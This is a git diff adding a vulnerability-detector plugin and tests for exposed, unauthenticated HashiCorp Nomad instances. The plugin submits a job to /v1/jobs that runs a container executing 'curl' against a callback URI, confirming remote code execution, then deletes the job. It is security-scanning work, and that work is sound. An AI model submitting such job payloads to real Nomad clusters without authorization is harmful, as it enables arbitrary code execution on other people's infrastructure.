diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto new file mode 100644 index 000000000..77758388e --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI.textproto @@ -0,0 +1,103 @@ +# proto-file: proto/templated_plugin.proto +# proto-message: TemplatedPlugin + +############### +# PLUGIN INFO # +############### + +info: { + type: VULN_DETECTION + name: "HashicorpNomad_ExposedUI" + author: "Am0o0" + version: "0.1" +} + +finding: { + main_id: { + publisher: "GOOGLE" + value: "HASHICORPNOMAD_EXPOSED_UI" + } + title: "Exposed Hashicorp Nomad instance" + description: "Hashicorp Nomad instance is exposed and can be used to execute arbitrary code. Confirmed by starting a docker container and running `curl` to fetch the callback server URI. " + recommendation: + "Configure authentication or ensure the Hashicorp Nomad instance is not exposed " + "to the network. See " + "https://developer.hashicorp.com/nomad/install for details." + severity: CRITICAL +} + +########### +# ACTIONS # +########### + +actions: { + name: "hashicorpnomad_exposed_ui_fingerprint" + http_request: { + method: GET + uri: "/ui/" + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: 'Copyright (c) HashiCorp, Inc.' } + conditions: { body {} contains: 'Nomad' } + } + } + } +} + +actions: { + name: "create_tsunami_job" + http_request: { + method: POST + uri: "/v1/jobs" + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + data: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}' + response: { + http_status: 200 + expect_all: { + conditions: { body {} contains: '"EvalCreateIndex"' } + conditions: { body {} contains: '"EvalID"' } + conditions: { body {} contains: '"Index"' } + conditions: { body {} contains: '"JobModifyIndex"' } + } + } + } + cleanup_actions: "cleanup_tsunami_job" +} + +actions: { + name: "sleep" + utility: { sleep: { duration_ms: 3000 } } +} + +actions: { + name: "check_callback_server_logs" + callback_server: { action_type: CHECK } +} + +actions: { + name: "cleanup_tsunami_job" + http_request: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + method: DELETE + uri: "/v1/job/tsunami-job?purge=true" + response: { + http_status: 200 + } + } +} +############# +# WORKFLOWS # +############# +workflows: { + actions: [ + "hashicorpnomad_exposed_ui_fingerprint", + "create_tsunami_job", + "sleep", + "check_callback_server_logs" + ] +} \ No newline at end of file diff --git a/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto new file mode 100644 index 000000000..cef5fe11b --- /dev/null +++ b/templated/templateddetector/plugins/exposedui/HashicorpNomad_ExposedUI_test.textproto @@ -0,0 +1,105 @@ +# proto-file: proto/templated_plugin_tests.proto +# proto-message: TemplatedPluginTests + +config: { + tested_plugin: "HashicorpNomad_ExposedUI" +} + +tests: { + name: "whenVulnerable_returnsVuln" + expect_vulnerability: true + + mock_callback_server: { + enabled: true + has_interaction: true + } + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 200 + body_content: + 'Copyright (c) HashiCorp, Inc.' + 'Nomad' + }, + { + uri: "/v1/jobs" + status: 200 + body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' + condition: { + body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}' + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + }, + }, + { + uri: "/v1/job/tsunami-job?purge=true" + status: 200 + condition: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + } + ] + } +} + + +tests: { + name: "whenNotNomad_returnsNoVuln" + expect_vulnerability: false + + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 400 + body_content: "..." + } + ] + } +} + +tests: { + name: "whenNoCallback_returnsFalse" + expect_vulnerability: false + + mock_callback_server: { + enabled: true + has_interaction: false + } + + mock_http_server: { + mock_responses: [ + { + uri: "/ui/" + status: 200 + body_content: + 'Copyright (c) HashiCorp, Inc.' + 'Nomad' + }, + { + uri: "/v1/jobs" + status: 200 + body_content: '{"EvalCreateIndex":75,"EvalID":"8b627ee0-e9aa-08f4-5cd2-dee4034b4c62","Index":75,"JobModifyIndex":75,"KnownLeader":false,"LastContact":0,"NextToken":"","Warnings":""}' + condition: { + body_content: '{"Job":{"Affinities":null,"AllAtOnce":false,"Constraints":null,"ConsulNamespace":"","CreateIndex":0,"Datacenters":["dc1"],"DispatchIdempotencyToken":null,"Dispatched":false,"ID":"tsunami-job","JobModifyIndex":0,"Meta":null,"Migrate":null,"ModifyIndex":0,"Multiregion":null,"Name":"tsunami-job","Namespace":"default","NodePool":"","NomadTokenID":"","ParameterizedJob":null,"ParentID":"","Payload":null,"Periodic":null,"Priority":50,"Region":"global","Reschedule":null,"Spreads":null,"Stable":false,"Status":"","StatusDescription":"","Stop":false,"SubmitTime":null,"TaskGroups":[{"Affinities":null,"Constraints":null,"Consul":null,"Count":1,"Disconnect":null,"EphemeralDisk":{"Migrate":false,"SizeMB":300,"Sticky":false},"MaxClientDisconnect":null,"Meta":null,"Migrate":null,"Name":"curl","Networks":null,"PreventRescheduleOnLost":null,"ReschedulePolicy":{"Attempts":1,"Delay":5000000000,"DelayFunction":"constant","Interval":86400000000000,"MaxDelay":0,"Unlimited":false},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"Scaling":null,"Services":null,"ShutdownDelay":null,"Spreads":null,"StopAfterClientDisconnect":null,"Tasks":[{"Actions":null,"Affinities":null,"Artifacts":null,"Config":{"args":["-lc","curl {{ T_CBS_URI }}"],"image":"curlimages/curl:8.8.0","command":"sh"},"Constraints":null,"Consul":null,"DispatchPayload":null,"Driver":"docker","Env":null,"Identities":null,"Identity":null,"KillSignal":"","KillTimeout":5000000000,"Kind":"","Leader":false,"Lifecycle":null,"LogConfig":{"Disabled":false,"Enabled":null,"MaxFileSizeMB":10,"MaxFiles":10},"Meta":null,"Name":"run-curl","Resources":{"CPU":100,"Cores":0,"Devices":null,"DiskMB":null,"IOPS":null,"MemoryMB":64,"MemoryMaxMB":null,"NUMA":null,"Networks":null,"SecretsMB":null},"RestartPolicy":{"Attempts":3,"Delay":15000000000,"Interval":86400000000000,"Mode":"fail","RenderTemplates":false},"ScalingPolicies":null,"Schedule":null,"Services":null,"ShutdownDelay":0,"Templates":null,"User":"","Vault":null,"VolumeMounts":null}],"Update":null,"Volumes":null}],"Type":"batch","UI":null,"Update":null,"VaultNamespace":"","Version":0,"VersionTag":null,"meta":{}},"Submission":{}}' + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + }, + { + uri: "/v1/job/tsunami-job?purge=true" + status: 200 + condition: { + headers: [ + { name: "Content-Type" value: "application/json; charset=utf-8" } + ] + } + } + ] + } +} \ No newline at end of file